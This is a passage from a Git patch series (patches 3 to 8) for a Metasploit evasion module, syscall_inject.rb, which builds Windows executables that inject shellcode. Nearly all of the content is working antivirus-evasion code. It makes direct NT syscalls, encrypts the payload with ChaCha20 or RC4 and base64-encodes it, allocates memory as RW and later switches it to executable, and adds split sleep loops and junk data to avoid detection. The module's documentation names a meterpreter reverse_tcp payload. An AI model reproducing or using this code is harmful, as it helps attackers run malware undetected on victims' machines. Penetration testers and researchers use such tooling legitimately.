[PATCH 3/8] Add fix for generating random valid C keywords --- modules/evasion/windows/syscall_inject.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index f345b40c53..cfb3c7236a 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -408,16 +408,16 @@ class MetasploitModule < Msf::Evasion def filler %( - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; - char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; + char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; ) end From 3bf8a5c1ba26733567157731ed9f8624d3c7de61 Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Sat, 21 Aug 2021 11:10:07 +0300 Subject: [PATCH 4/8] Change Alloction from RWX to RW --- modules/evasion/windows/syscall_inject.rb | 39 ++++++++++++++++++++--- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index cfb3c7236a..e942966319 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Evasion register_options( [ OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'xor', ['xor', 'rc4']]), - OptInt.new('SLEEP', [false, 'Sleep time before executing shellcode', 10000]), + OptInt.new('SLEEP', [false, 'Sleep time before executing shellcode', 20000]), OptBool.new('JUNK', [false, 'Add random info to the final executable', true]) ] ) @@ -140,6 +140,26 @@ class MetasploitModule < Msf::Evasion ^ end + def nt_protect + %^ + __asm__("NtProtectVirtualMemory: \\n\\ + push rcx \\n\\ + push rdx \\n\\ + push r8 \\n\\ + push r9 \\n\\ + mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\ + call GetSyscallNumber \\n\\ + pop r9 \\n\\ + pop r8 \\n\\ + pop rdx \\n\\ + pop rcx \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + def nt_write %^ __asm__("NtWriteVirtualMemory: \\n\\ @@ -258,6 +278,13 @@ class MetasploitModule < Msf::Evasion IN ULONG AllocationType, IN ULONG Protect); + EXTERN_C NTSTATUS NtProtectVirtualMemory( + IN HANDLE ProcessHandle, + IN OUT PVOID * BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect); + EXTERN_C NTSTATUS NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, @@ -435,20 +462,22 @@ class MetasploitModule < Msf::Evasion end def inject - s = "Sleep(#{datastore['SLEEP']})" + s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}" @inject = %@ void inject() { HANDLE pHandle; + DWORD old = 0; CLIENT_ID cID = {0}; OBJECT_ATTRIBUTES OA = {0}; SIZE_T size = sizeof(shellcode); PVOID bAddress = NULL; int process_id = GetCurrentProcessId(); + #{filler if datastore['JUNK']} cID.UniqueProcess = process_id; NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID); - NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); int n = 0; @ if datastore['CIPHER'] == 'rc4' @@ -472,7 +501,8 @@ class MetasploitModule < Msf::Evasion @ end @inject << %@ - #{s if datastore['SLEEP'] > 0}; + #{filler if datastore['JUNK']} + NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old); #{s if datastore['SLEEP'] > 0}; HANDLE thread = NULL; NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL); @@ -538,6 +568,7 @@ class MetasploitModule < Msf::Evasion src << nt_close src << nt_create_thread src << nt_open_process + src << nt_protect src << nt_write src << syscall_parser src << exec_func From 1adde377ecba4e14a92cc503c7a7607b7ba1d1cd Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Mon, 6 Sep 2021 12:23:46 +0300 Subject: [PATCH 5/8] Replace XOR with CHACHA and remove unnecassary code --- data/headers/windows/Windows.h | 5 ++ .../modules/evasion/windows/syscall_inject.md | 4 +- modules/evasion/windows/syscall_inject.rb | 69 ++++++++----------- 3 files changed, 34 insertions(+), 44 deletions(-) diff --git a/data/headers/windows/Windows.h b/data/headers/windows/Windows.h index 0a5ce8e8ad..841d035af7 100644 --- a/data/headers/windows/Windows.h +++ b/data/headers/windows/Windows.h @@ -340,6 +340,11 @@ typedef struct _GUID { BYTE Data4[8]; } GUID; +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; + typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED); typedef enum _PROCESSINFOCLASS { diff --git a/documentation/modules/evasion/windows/syscall_inject.md b/documentation/modules/evasion/windows/syscall_inject.md index e467344b93..035480eb26 100644 --- a/documentation/modules/evasion/windows/syscall_inject.md +++ b/documentation/modules/evasion/windows/syscall_inject.md @@ -21,7 +21,7 @@ steps using a meterpreter/reverse_tcp payload on a 64-bits target: ## Options ### CIPHER -Encryption algorithm used to encrypt the payload. Available ones (XOR, RC4) +Encryption algorithm used to encrypt the payload. Available ones (CHACHA, RC4) ### FILENAME Filename for the generated evasive file file. The default is random. @@ -30,7 +30,7 @@ Filename for the generated evasive file file. The default is random. Adding random data such as names, emails and GUIDs to the final executable ### SLEEP -Specify how much (time x 2) the program sleeps prior to execute the shellcode's thread (NtCreateThread). +Specify how much the program sleeps in milliseconds prior to execute the shellcode's thread (NtCreateThread). NOTE: the longer the better chance to avoid being detected. ## Advanced diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index e942966319..76ddd9977f 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -1,6 +1,8 @@ require 'metasploit/framework/compiler/mingw' +require 'metasploit/framework/compiler/windows' + class MetasploitModule < Msf::Evasion - INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h') + RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h') def initialize(info = {}) super( merge_info( @@ -27,9 +29,8 @@ class MetasploitModule < Msf::Evasion ) register_options( [ - OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'xor', ['xor', 'rc4']]), - OptInt.new('SLEEP', [false, 'Sleep time before executing shellcode', 20000]), - OptBool.new('JUNK', [false, 'Add random info to the final executable', true]) + OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]), + OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]), ] ) @@ -183,8 +184,9 @@ class MetasploitModule < Msf::Evasion end def headers - @headers = "#include \n" - @headers << "#include \"#{INCLUDE_DIR}\"\n" if datastore['CIPHER'] == 'rc4' + @headers = "#include \n" + @headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4' + @headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha' @headers end @@ -361,8 +363,8 @@ class MetasploitModule < Msf::Evasion // If this is NTDLL.dll, exit loop. PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name); - if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; - if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; + if ((*(ULONG*)DllName) != 'ldtn') continue; + if ((*(ULONG*)(DllName + 4)) == 'ld.l') break; } if (!ExportDirectory) return FALSE; @@ -433,25 +435,9 @@ class MetasploitModule < Msf::Evasion @ end - def filler - %( - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; - char* _msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; - ) - end - def exec_func %^ #{get_payload} - #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} DWORD exec(void *buffer) { void (*function)(); @@ -474,34 +460,30 @@ class MetasploitModule < Msf::Evasion SIZE_T size = sizeof(shellcode); PVOID bAddress = NULL; int process_id = GetCurrentProcessId(); - #{filler if datastore['JUNK']} cID.UniqueProcess = process_id; NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID); NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); int n = 0; + PBYTE temp = (char*)malloc(sizeof(shellcode)); @ if datastore['CIPHER'] == 'rc4' @inject << %@ - char* temp = (char*)malloc(sizeof(shellcode)); + #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} RC4(key, shellcode, temp, sizeof(shellcode)); - for (int i = 0; i < sizeof(shellcode) - 1; i++) - { - NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp[i], 1, NULL); - n++; - } + NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL); @ else @inject << %@ - for (int i = 0; i < sizeof(shellcode) - 1; i++) - { - char temp = shellcode[i] ^ key[0] ^ key[1] ^ key[2] ^ key[3] ^ key[4] ^ key[5] ^ key[6]; - NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp, 1, NULL); - n++; - } + #{Rex::Text.to_c key[:key], Rex::Text::DefaultWrap, 'key'} + #{Rex::Text.to_c key[:iv], Rex::Text::DefaultWrap, 'iv'} + chacha_ctx ctx; + chacha_keysetup(&ctx, key, 256, 96); + chacha_ivsetup(&ctx, iv); + chacha_encrypt_bytes(&ctx, shellcode, temp, sizeof(shellcode)); + NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL); @ end @inject << %@ - #{filler if datastore['JUNK']} NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old); #{s if datastore['SLEEP'] > 0}; HANDLE thread = NULL; @@ -517,7 +499,6 @@ class MetasploitModule < Msf::Evasion %^ int main() { - #{filler if datastore['JUNK']} inject(); } ^ @@ -527,7 +508,9 @@ class MetasploitModule < Msf::Evasion if datastore['CIPHER'] == 'rc4' @key ||= Rex::Text.rand_text_alpha(32..64) else - @key ||= Rex::Text.rand_text(7) + @key ||= Rex::Text.rand_text(32) + @iv ||= Rex::Text.rand_text(12) + return { iv: @iv, key: @key } end end @@ -535,8 +518,9 @@ class MetasploitModule < Msf::Evasion junk = Rex::Text.rand_text(10..1024) p = payload.encoded + junk vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)") - if datastore['CIPHER'] == 'xor' - key.each_byte { |x| p = Rex::Text.xor(x, p) } + if datastore['CIPHER'] == 'chacha' + chacha = Rex::Crypto::Chacha20.new(key[:key], key[:iv]) + p = chacha.chacha20_crypt(p) Rex::Text.to_c p, Rex::Text::DefaultWrap, 'shellcode' else opts = { format: 'rc4', key: key } @@ -574,6 +558,7 @@ class MetasploitModule < Msf::Evasion src << exec_func src << inject src << main + # obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src path = Tempfile.new('main').path vprint_status path compile_opts = From 4454a7600aab9f19ead043e163fa4fe677bb6f5e Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Fri, 10 Sep 2021 22:56:04 +0300 Subject: [PATCH 6/8] add minor fixes to module code --- lib/metasploit/framework/compiler/mingw.rb | 3 ++- modules/evasion/windows/syscall_inject.rb | 17 ++++++++++------- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 8452f0df80..7ae0daec1c 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -8,6 +8,7 @@ module Metasploit INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'c_payload_util') UTILITY_DIR = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload') + OPTIMIZATION_FLAGS = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ] def compile_c(src) cmd = build_cmd(src) @@ -24,7 +25,7 @@ module Metasploit File.write(src_file, src) - opt_level = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ].include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 " + opt_level = OPTIMIZATION_FLAGS.include?(self.opt_lvl) ? "-#{self.opt_lvl} " : "-O2 " cmd << "#{self.mingw_bin} " cmd << "#{src_file} -I #{INCLUDE_DIR} " diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index 76ddd9977f..8dbcf9c6fc 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -1,6 +1,5 @@ require 'metasploit/framework/compiler/mingw' require 'metasploit/framework/compiler/windows' - class MetasploitModule < Msf::Evasion RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h') def initialize(info = {}) @@ -36,7 +35,7 @@ class MetasploitModule < Msf::Evasion register_advanced_options( [ - OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', [ 'Og', 'Os', 'O0', 'O1', 'O2', 'O3' ] ]), + OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]), ] ) end @@ -474,8 +473,8 @@ class MetasploitModule < Msf::Evasion @ else @inject << %@ - #{Rex::Text.to_c key[:key], Rex::Text::DefaultWrap, 'key'} - #{Rex::Text.to_c key[:iv], Rex::Text::DefaultWrap, 'iv'} + #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} + #{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'} chacha_ctx ctx; chacha_keysetup(&ctx, key, 256, 96); chacha_ivsetup(&ctx, iv); @@ -509,8 +508,12 @@ class MetasploitModule < Msf::Evasion @key ||= Rex::Text.rand_text_alpha(32..64) else @key ||= Rex::Text.rand_text(32) + end + end + + def iv + if datastore['CIPHER'] == 'chacha' @iv ||= Rex::Text.rand_text(12) - return { iv: @iv, key: @key } end end @@ -519,7 +522,7 @@ class MetasploitModule < Msf::Evasion p = payload.encoded + junk vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)") if datastore['CIPHER'] == 'chacha' - chacha = Rex::Crypto::Chacha20.new(key[:key], key[:iv]) + chacha = Rex::Crypto::Chacha20.new(key, iv) p = chacha.chacha20_crypt(p) Rex::Text.to_c p, Rex::Text::DefaultWrap, 'shellcode' else @@ -560,7 +563,7 @@ class MetasploitModule < Msf::Evasion src << main # obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src path = Tempfile.new('main').path - vprint_status path + vprint_good "Saving temporary source file in #{path}" compile_opts = { strip_symbols: true, From c1868d94cd0fdd466deb571ec1588ae4169b805e Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Sun, 12 Sep 2021 17:00:24 +0300 Subject: [PATCH 7/8] add base64 encoding to shellcode --- data/headers/windows/base64.h | 4 ++-- modules/evasion/windows/syscall_inject.rb | 18 +++++++++++------- 2 files changed, 13 insertions(+), 9 deletions(-) diff --git a/data/headers/windows/base64.h b/data/headers/windows/base64.h index 4bcc0f636d..73a17560ef 100644 --- a/data/headers/windows/base64.h +++ b/data/headers/windows/base64.h @@ -17,7 +17,7 @@ static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq int base64decode(char *dest, const char *src, int l) { static char inalphabet[256], decoder[256]; - static bool table_initialized = false; + static short table_initialized = 0; int i, bits, c, char_count; int rpos; int wpos = 0; @@ -27,7 +27,7 @@ int base64decode(char *dest, const char *src, int l) inalphabet[alphabet[i]] = 1; decoder[alphabet[i]] = i; } - table_initialized = true; + table_initialized = 1; } char_count = 0; diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index 8dbcf9c6fc..aac7e5bd2f 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -2,6 +2,7 @@ require 'metasploit/framework/compiler/mingw' require 'metasploit/framework/compiler/windows' class MetasploitModule < Msf::Evasion RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h') + BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h') def initialize(info = {}) super( merge_info( @@ -184,6 +185,7 @@ class MetasploitModule < Msf::Evasion def headers @headers = "#include \n" + @headers << "#include \"#{BASE64}\"\n" @headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4' @headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha' @headers @@ -436,7 +438,7 @@ class MetasploitModule < Msf::Evasion def exec_func %^ - #{get_payload} + char* enc_shellcode = "#{get_payload}"; DWORD exec(void *buffer) { void (*function)(); @@ -456,19 +458,21 @@ class MetasploitModule < Msf::Evasion DWORD old = 0; CLIENT_ID cID = {0}; OBJECT_ATTRIBUTES OA = {0}; - SIZE_T size = sizeof(shellcode); + int b64len = strlen(enc_shellcode); + PBYTE shellcode = (PBYTE)malloc(b64len); + SIZE_T size = base64decode(shellcode, enc_shellcode, b64len); PVOID bAddress = NULL; int process_id = GetCurrentProcessId(); cID.UniqueProcess = process_id; NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID); NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); int n = 0; - PBYTE temp = (char*)malloc(sizeof(shellcode)); + PBYTE temp = (PBYTE)malloc(size); @ if datastore['CIPHER'] == 'rc4' @inject << %@ #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} - RC4(key, shellcode, temp, sizeof(shellcode)); + RC4(key, shellcode, temp, size); NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL); @ else @@ -478,7 +482,7 @@ class MetasploitModule < Msf::Evasion chacha_ctx ctx; chacha_keysetup(&ctx, key, 256, 96); chacha_ivsetup(&ctx, iv); - chacha_encrypt_bytes(&ctx, shellcode, temp, sizeof(shellcode)); + chacha_encrypt_bytes(&ctx, shellcode, temp, size); NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL); @ end @@ -524,10 +528,10 @@ class MetasploitModule < Msf::Evasion if datastore['CIPHER'] == 'chacha' chacha = Rex::Crypto::Chacha20.new(key, iv) p = chacha.chacha20_crypt(p) - Rex::Text.to_c p, Rex::Text::DefaultWrap, 'shellcode' + Rex::Text.encode_base64 p else opts = { format: 'rc4', key: key } - Msf::Simple::Buffer.transform(p, 'c', 'shellcode', opts) + Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts) end end From 48b76e6149a1888e5e153342e3d27d6faef71610 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 22 Sep 2021 09:55:17 -0400 Subject: [PATCH 8/8] Revert a change that caused a bug Using the capital W in Windows.h would raise a fatal error when compiling. --- modules/evasion/windows/syscall_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index aac7e5bd2f..df885a8435 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -184,7 +184,7 @@ class MetasploitModule < Msf::Evasion end def headers - @headers = "#include \n" + @headers = "#include \n" @headers << "#include \"#{BASE64}\"\n" @headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4' @headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'